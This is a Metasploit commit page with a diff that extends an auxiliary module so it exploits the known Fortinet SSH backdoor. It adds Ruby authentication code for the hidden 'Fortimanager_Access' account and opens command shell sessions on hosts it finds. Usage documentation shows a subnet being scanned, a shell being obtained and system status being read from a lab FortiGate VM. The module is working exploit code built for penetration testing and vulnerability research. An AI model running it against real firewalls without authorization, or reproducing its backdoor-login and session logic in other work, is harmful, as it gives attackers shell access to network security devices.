Skip to content

Commit 855fbc1

Browse files
committed
Land rapid7#9602, Create sessions with the Fortinet SSH backdoor scanner
2 parents 78822fd + a9d6845 commit 855fbc1

File tree

3 files changed

+122
-19
lines changed

3 files changed

+122
-19
lines changed
Lines changed: 63 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,63 @@
1+
## Intro
2+
3+
This module scans for the Fortinet SSH backdoor and creates sessions.
4+
5+
## Setup
6+
7+
1. `git clone https://github.com/nixawk/labs`
8+
2. Import `FortiGate-Backdoor-VM/FortiGate-VM.ovf` into VMware
9+
3. <http://help.fortinet.com/fweb/580/Content/FortiWeb/fortiweb-admin/network_settings.htm>
10+
11+
## Usage
12+
13+
```
14+
msf5 > use auxiliary/scanner/ssh/fortinet_backdoor
15+
msf5 auxiliary(scanner/ssh/fortinet_backdoor) > set rhosts 192.168.212.0/24
16+
rhosts => 192.168.212.0/24
17+
msf5 auxiliary(scanner/ssh/fortinet_backdoor) > set threads 100
18+
threads => 100
19+
msf5 auxiliary(scanner/ssh/fortinet_backdoor) > run
20+
21+
[*] Scanned 54 of 256 hosts (21% complete)
22+
[+] 192.168.212.128:22 - Logged in as Fortimanager_Access
23+
[*] Scanned 65 of 256 hosts (25% complete)
24+
[*] Scanned 78 of 256 hosts (30% complete)
25+
[*] Command shell session 1 opened (192.168.212.1:40605 -> 192.168.212.128:22) at 2018-02-21 21:35:11 -0600
26+
[*] Scanned 104 of 256 hosts (40% complete)
27+
[*] Scanned 141 of 256 hosts (55% complete)
28+
[*] Scanned 154 of 256 hosts (60% complete)
29+
[*] Scanned 180 of 256 hosts (70% complete)
30+
[*] Scanned 205 of 256 hosts (80% complete)
31+
[*] Scanned 240 of 256 hosts (93% complete)
32+
[*] Scanned 256 of 256 hosts (100% complete)
33+
[*] Auxiliary module execution completed
34+
msf5 auxiliary(scanner/ssh/fortinet_backdoor) > sessions -1
35+
[*] Starting interaction with 1...
36+
37+
FortiGate-VM # get system status
38+
Version: FortiGate-VM v5.0,build0228,130809 (GA Patch 4)
39+
Virus-DB: 16.00560(2012-10-19 08:31)
40+
Extended DB: 1.00000(2012-10-17 15:46)
41+
Extreme DB: 1.00000(2012-10-17 15:47)
42+
IPS-DB: 4.00345(2013-05-23 00:39)
43+
IPS-ETDB: 0.00000(2000-00-00 00:00)
44+
Serial-Number: FGVM00UNLICENSED
45+
Botnet DB: 1.00000(2012-05-28 22:51)
46+
License Status: Evaluation license expired
47+
Evaluation License Expires: Thu Jan 28 13:05:41 2016
48+
BIOS version: 04000002
49+
Log hard disk: Need format
50+
Hostname: FortiGate-VM
51+
Operation Mode: NAT
52+
Current virtual domain: root
53+
Max number of virtual domains: 10
54+
Virtual domains status: 1 in NAT mode, 0 in TP mode
55+
Virtual domain configuration: disable
56+
FIPS-CC mode: disable
57+
Current HA mode: standalone
58+
Branch point: 228
59+
Release Version Information: GA Patch 4
60+
System time: Wed Feb 21 13:13:43 2018
61+
62+
FortiGate-VM #
63+
```

lib/msf/core/exploit/fortinet.rb

Lines changed: 26 additions & 10 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,6 @@
11
# -*- coding: binary -*-
22

3+
# https://www.ietf.org/rfc/rfc4252.txt
34
# https://www.ietf.org/rfc/rfc4256.txt
45

56
require 'net/ssh'
@@ -11,21 +12,21 @@ class Net::SSH::Authentication::Methods::FortinetBackdoor < Net::SSH::Authentica
1112
USERAUTH_INFO_RESPONSE = 61
1213

1314
def authenticate(service_name, username = 'Fortimanager_Access', password = nil)
14-
debug { 'Sending SSH_MSG_USERAUTH_REQUEST' }
15+
debug { 'Sending SSH_MSG_USERAUTH_REQUEST (password)' }
1516

1617
send_message(userauth_request(
1718
=begin
18-
string user name (ISO-10646 UTF-8, as defined in [RFC-3629])
19-
string service name (US-ASCII)
20-
string "keyboard-interactive" (US-ASCII)
21-
string language tag (as defined in [RFC-3066])
22-
string submethods (ISO-10646 UTF-8)
19+
string user name
20+
string service name
21+
string "password"
22+
boolean FALSE
23+
string plaintext password in ISO-10646 UTF-8 encoding [RFC3629]
2324
=end
2425
username,
2526
service_name,
26-
'keyboard-interactive',
27-
'',
28-
''
27+
'password',
28+
false,
29+
password || ''
2930
))
3031

3132
loop do
@@ -37,7 +38,22 @@ def authenticate(service_name, username = 'Fortimanager_Access', password = nil)
3738
return true
3839
when USERAUTH_FAILURE
3940
debug { 'Received SSH_MSG_USERAUTH_FAILURE' }
40-
return false
41+
debug { 'Sending SSH_MSG_USERAUTH_REQUEST (keyboard-interactive)' }
42+
43+
send_message(userauth_request(
44+
=begin
45+
string user name (ISO-10646 UTF-8, as defined in [RFC-3629])
46+
string service name (US-ASCII)
47+
string "keyboard-interactive" (US-ASCII)
48+
string language tag (as defined in [RFC-3066])
49+
string submethods (ISO-10646 UTF-8)
50+
=end
51+
username,
52+
service_name,
53+
'keyboard-interactive',
54+
'',
55+
''
56+
))
4157
when USERAUTH_INFO_REQUEST
4258
debug { 'Received SSH_MSG_USERAUTH_INFO_REQUEST' }
4359

modules/auxiliary/scanner/ssh/fortinet_backdoor.rb

Lines changed: 33 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -3,10 +3,14 @@
33
# Current source: https://github.com/rapid7/metasploit-framework
44
##
55

6+
# XXX: This shouldn't be necessary but is now
7+
require 'net/ssh/command_stream'
8+
69
class MetasploitModule < Msf::Auxiliary
710
include Msf::Exploit::Remote::SSH
811
include Msf::Exploit::Remote::Fortinet
912
include Msf::Auxiliary::Scanner
13+
include Msf::Auxiliary::CommandShell
1014
include Msf::Auxiliary::Report
1115

1216
def initialize(info = {})
@@ -45,6 +49,8 @@ def run_host(ip)
4549

4650
ssh_opts = {
4751
port: rport,
52+
# The auth method is converted into a class name for instantiation,
53+
# so fortinet-backdoor here becomes FortinetBackdoor from the mixin
4854
auth_methods: ['fortinet-backdoor'],
4955
non_interactive: true,
5056
config: false,
@@ -63,15 +69,33 @@ def run_host(ip)
6369
return
6470
end
6571

66-
if ssh
67-
print_good("#{ip}:#{rport} - Logged in as Fortimanager_Access")
68-
report_vuln(
69-
host: ip,
70-
name: self.name,
71-
refs: self.references,
72-
info: ssh.transport.server_version.version
73-
)
74-
end
72+
return unless ssh
73+
74+
print_good("#{ip}:#{rport} - Logged in as Fortimanager_Access")
75+
76+
version = ssh.transport.server_version.version
77+
78+
report_vuln(
79+
host: ip,
80+
name: self.name,
81+
refs: self.references,
82+
info: version
83+
)
84+
85+
shell = Net::SSH::CommandStream.new(ssh)
86+
87+
return unless shell
88+
89+
info = "Fortinet SSH Backdoor (#{version})"
90+
91+
ds_merge = {
92+
'USERNAME' => 'Fortimanager_Access'
93+
}
94+
95+
start_session(self, info, ds_merge, false, shell.lsock)
96+
97+
# XXX: Ruby segfaults if we don't remove the SSH socket
98+
remove_socket(ssh.transport.socket)
7599
end
76100

77101
def rport

0 commit comments

Comments
 (0)